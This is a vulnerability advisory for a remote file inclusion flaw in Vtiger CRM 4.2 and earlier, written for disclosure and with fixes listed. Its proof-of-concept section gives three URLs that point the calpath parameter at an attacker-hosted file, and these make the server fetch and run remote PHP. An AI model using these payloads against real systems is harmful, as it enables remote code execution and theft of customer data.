Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : Vtiger CRM
|
|
version : <=4.2
|
|
URL : http://vtiger.com
|
|
|
|
vtiger CRM is 100% Open Source Customer Relationship Management solution built over
|
|
LAMP/WAMP stack and other third-party open source packages.
|
|
vtiger CRM software can be installed in Windows NT/2000/XP/2003 and different types
|
|
Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0, SuSe 9.0, Fedora Core 3.0,
|
|
Mandrake 10.0, Mac OS, and FreeBSD.
|
|
---------------------------------------------------------------------------
|
|
|
|
Vulnerability:
|
|
~~~~~~~~~~~~~
|
|
|
|
In folder modules/Calendar/admin/ I found vulnerability script update.php
|
|
--------------------------update.php---------------------------------------
|
|
....
|
|
<?
|
|
|
|
include_once $calpath .'webelements.p3';
|
|
include_once $calpath .'permission.p3';
|
|
...
|
|
----------------------------------------------------------
|
|
|
|
Input passed to the "$calpath" parameter in update.php is not
|
|
properly verified before being used. This can be exploited to execute
|
|
arbitrary PHP code by including files from local or external
|
|
resources.
|
|
|
|
Also affected files on Files:
|
|
|
|
modules/Calendar/admin/update.php
|
|
modules/Calendar/admin/scheme.php
|
|
modules/Calendar/calendar.php
|
|
|
|
|
|
Proof Of Concept:
|
|
~~~~~~~~~~~~~~
|
|
|
|
http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt?
|
|
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt?
|
|
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt?
|
|
|
|
Solution:
|
|
~~~~~~
|
|
- Upgrade to Vtiger CRM 5.0
|
|
- Sanitize variable $calpath on affected files.
|
|
- Turn off register_globals
